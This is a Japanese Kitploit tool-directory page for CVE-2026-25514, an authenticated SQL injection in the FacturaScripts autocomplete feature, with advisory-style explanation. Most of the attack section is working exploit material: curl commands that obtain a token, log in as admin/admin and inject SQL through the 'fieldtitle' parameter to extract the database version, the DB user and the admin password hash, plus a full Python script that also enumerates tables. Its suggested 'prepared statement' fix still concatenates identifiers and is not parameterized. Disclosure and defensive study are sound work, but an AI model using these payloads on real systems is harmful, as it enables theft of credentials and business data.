Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-25514 — CVE-2026-25514 - FacturaScripts のオートコンプリートアクションにおけるSQLインジェクション | Kitploit
ツール/GitHubGitHub/lukasz-rybak/cve-2026-25514
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育データベースセキュリティ
GitHublukasz-rybak/cve-2026-25514

CVE-2026-25514

CVE-2026-25514 - FacturaScripts のオートコンプリートアクションにおけるSQLインジェクション

リポジトリを見る
4ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-25514: FacturaScriptsのオートコンプリートアクションにおけるSQLインジェクション

概要

フィールド詳細
CVE IDCVE-2026-25514
深刻度HIGH
アドバイザリアドバイザリを表示
発見者Lukasz Rybak

影響を受ける製品

  • facturascripts/facturascripts(バージョン: < 2025.81)

CWE分類

  • CWE-20: 不適切な入力検証
  • CWE-89: SQLコマンドで使用される特殊要素の不適切な無害化('SQLインジェクション')
  • CWE-943: データクエリロジックにおける特殊要素の不適切な無害化

詳細

要約

FacturaScriptsのオートコンプリート機能には重大なSQLインジェクションの脆弱性が存在し、認証された攻撃者がデータベースからユーザー認証情報、構成設定、保存されているすべての業務データを含む機密データを抽出できるようになります。この脆弱性はCodeModel::all()メソッドに存在し、ユーザー指定のパラメータがサニタイズやパラメータ化バインドなしでSQLクエリに直接連結されます。


詳細

CopyModel、ListController、PanelControllerを含むFacturaScriptsの複数のコントローラは、CodeModel::search()またはCodeModel::all()メソッドを介してユーザー入力を処理するオートコンプリートアクションを実装しています。これらのメソッドは、検証やエスケープなしでユーザー制御のパラメータを直接連結してSQLクエリを構築します。

脆弱なコードの場所

ファイル: /Core/Model/CodeModel.php メソッド: all() 行: 108-109

root@kitploit:~
public static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array
{
    // ......

    // VULNERABLE CODE:
    $sql = 'SELECT DISTINCT ' . $fieldCode . ' AS code, ' . $fieldDescription . ' AS description '
        . 'FROM ' . $tableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC';
    foreach (self::db()->selectLimit($sql, self::getLimit()) as $row) {
        $result[] = new static($row);
    }

    return $result;
}

脆弱なパラメータ

以下のパラメータはSQLインジェクションに対して脆弱です:

  1. source → $tableNameにマッピング - テーブル名インジェクション
  2. fieldcode → $fieldCodeにマッピング - 列名インジェクション
  3. fieldtitle → $fieldDescriptionにマッピング - 列名インジェクション(主な攻撃ベクトル)

攻撃の流れ

  1. 攻撃者は有効な認証情報(任意のユーザーロール)で認証する
  2. 攻撃者はaction=autocompleteを指定して/CopyModelにPOSTリクエストを送信する
  3. fieldtitleパラメータを介して悪意のあるSQL関数/クエリが注入される
  4. アプリケーションは注入されたSQLを実行し、JSON形式で結果を返す
  5. 攻撃者はデータベースから機密データを抽出する

概念実証(PoC)

前提条件

  • 有効な認証情報(テストインスタンスではadmin/admin)
  • FacturaScriptsのWebインターフェースへのアクセス

手動エクスプロイトの手順(CLI)

FacturaScriptsはMultiRequestProtectionを使用するため、すべてのPOSTリクエストには有効なmultireqtokenが必要です。

1. 初期トークンとセッションクッキーの取得: FacturaScriptsは/を/loginにリダイレクトするため、-Lでリダイレクトを追跡し、-cでセッションクッキーを保存します。

root@kitploit:~
TOKEN=$(curl -s -L -c cookies.txt "http://localhost:8091/login" | grep -Po 'name="multireqtoken" value="\K[^"]+')
echo $TOKEN

2. 認証(ログイン): 保存したクッキーとトークンを使用してログインします。

root@kitploit:~
curl -s -b cookies.txt -c cookies.txt -X POST "http://localhost:8091/login" \
  -d "fsNick=admin" \
  -d "fsPassword=admin" \
  -d "action=login" \
  -d "multireqtoken=$TOKEN"

3. データベースバージョンの抽出: 次のリクエスト用に新しいトークンを取得し、インジェクションを実行します。

root@kitploit:~
# Get fresh token
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')

# Execute SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
  -d "action=autocomplete" \
  -d "source=users" \
  -d "fieldcode=nick" \
  -d "fieldtitle=version()" \
  -d "term=admin" \
  -d "multireqtoken=$TOKEN"

4. データベースユーザーと名前の抽出:

root@kitploit:~
# Get fresh token
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')

# Execute SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
  -d "action=autocomplete" \
  -d "source=users" \
  -d "fieldcode=nick" \
  -d "fieldtitle=concat(user(),' @ ',database())" \
  -d "term=admin" \
  -d "multireqtoken=$TOKEN"

5. 管理者パスワードハッシュの抽出:

root@kitploit:~
# Get fresh token
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')

# Execute SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
  -d "action=autocomplete" \
  -d "source=users" \
  -d "fieldcode=nick" \
  -d "fieldtitle=password" \
  -d "term=admin" \
  -d "multireqtoken=$TOKEN"

自動エクスプロイトスクリプト

root@kitploit:~
#!/usr/bin/env python3
"""
FacturaScripts SQL Injection Exploit - Autocomplete
Author: Łukasz Rybak
"""

import requests
import re
import json

# Configuration
BASE_URL = "http://localhost:8091"
USERNAME = "admin"
PASSWORD = "admin"

session = requests.Session()

def get_csrf_token(url):
    """Extract CSRF token from page"""
    response = session.get(url)
    match = re.search(r'name="multireqtoken" value="([^"]+)"', response.text)
    return match.group(1) if match else None

def login():
    """Authenticate to FacturaScripts"""
    print(f"[*] Logging in as {USERNAME}...")
    token = get_csrf_token(f"{BASE_URL}/login")
    if not token:
        print("[!] Failed to get CSRF token")
        exit()

    data = {
        "multireqtoken": token,
        "action": "login",
        "fsNick": USERNAME,
        "fsPassword": PASSWORD
    }
    response = session.post(f"{BASE_URL}/login", data=data)

    if "Dashboard" not in response.text:
        print("[!] Login failed!")
        exit()
    print("[+] Successfully logged in.")

def exploit_sqli(field_payload, term="admin", source="users", field_code="nick"):
    """Execute SQL injection through autocomplete"""
    data = {
        "action": "autocomplete",
        "source": source,
        "fieldcode": field_code,
        "fieldtitle": field_payload,
        "term": term
    }
    response = session.post(f"{BASE_URL}/CopyModel", data=data)
    try:
        return response.json()
    except:
        return None

def main():
    login()

    print("\n" + "="*60)
    print(" EXPLOITING SQL INJECTION IN AUTOCOMPLETE ")
    print("="*60 + "\n")

    # 1. Database version
    print("[*] Extracting database version...")
    res = exploit_sqli("version()")
    if res:
        print(f"[+] Database Version: {res[0]['value']}")

    # 2. Current user and database
    print("[*] Extracting DB user and database name...")
    res = exploit_sqli("concat(user(),' @ ',database())")
    if res:
        print(f"[+] DB User @ Database: {res[0]['value']}")

    # 3. Admin password hash
    print("[*] Extracting admin password hash...")
    res = exploit_sqli("password", term="admin")
    if res:
        print(f"[+] Admin Password Hash: {res[0]['value']}")

    # 4. All table names
    print("[*] Extracting table names...")
    res = exploit_sqli("(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())")
    if res:
        print(f"[+] Tables: {res[0]['value']}")

    print("\n[+] Exploitation complete!")

if __name__ == "__main__":
    main()
画像

影響

このSQLインジェクションの脆弱性は**重大(CRITICAL)**な影響をもたらします:

データ機密性

  • データベース全体の開示 - 攻撃者は以下を含むすべてのデータを抽出できます:
    • ユーザー認証情報(パスワードハッシュ)
    • 顧客情報(氏名、住所、税IDなど)
    • 財務記録(請求書、支払い、銀行口座情報)
    • ビジネスロジックと構成データ
    • プラグインおよびシステム設定

影響を受けるユーザー

  • 脆弱なバージョンを実行しているすべてのFacturaScriptsインストール
  • すべての認証済みユーザーが悪用可能(管理者だけでなく)
  • 会計・請求処理にFacturaScriptsを使用している企業
  • システム内にデータが保存されている顧客

推奨される修正

即時の是正措置

オプション1: プリペアドステートメントの使用

root@kitploit:~
// File: Core/Model/CodeModel.php
// Method: all()

public static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array
{
    // ... validation code ...

    // Validate and escape identifiers
    $safeTableName = self::db()->escapeColumn($tableName);
    $safeFieldCode = self::db()->escapeColumn($fieldCode);
    $safeFieldDescription = self::db()->escapeColumn($fieldDescription);

    // Use parameterized query
    $sql = 'SELECT DISTINCT ' . $safeFieldCode . ' AS code, ' . $safeFieldDescription . ' AS description '
        . 'FROM ' . $safeTableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC';

    foreach (self::db()->selectLimit($sql, self::getLimit()) as $row) {
        $result[] = new static($row);
    }

    return $result;
}

クレジット

発見者: Łukasz Rybak

参照

  • https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-pqqg-5f4f-8952
  • https://github.com/NeoRazorX/facturascripts/commit/5c070f82665b98efd2f914a4769c6dc9415f5b0f
  • https://nvd.nist.gov/vuln/detail/CVE-2026-25514
  • https://github.com/advisories/GHSA-pqqg-5f4f-8952

免責事項

このCVEは、調整された脆弱性開示の慣行に従って責任を持って開示されました。ここに記載されている情報は、教育および防御目的のみを目的としています。

ツールをダウンロード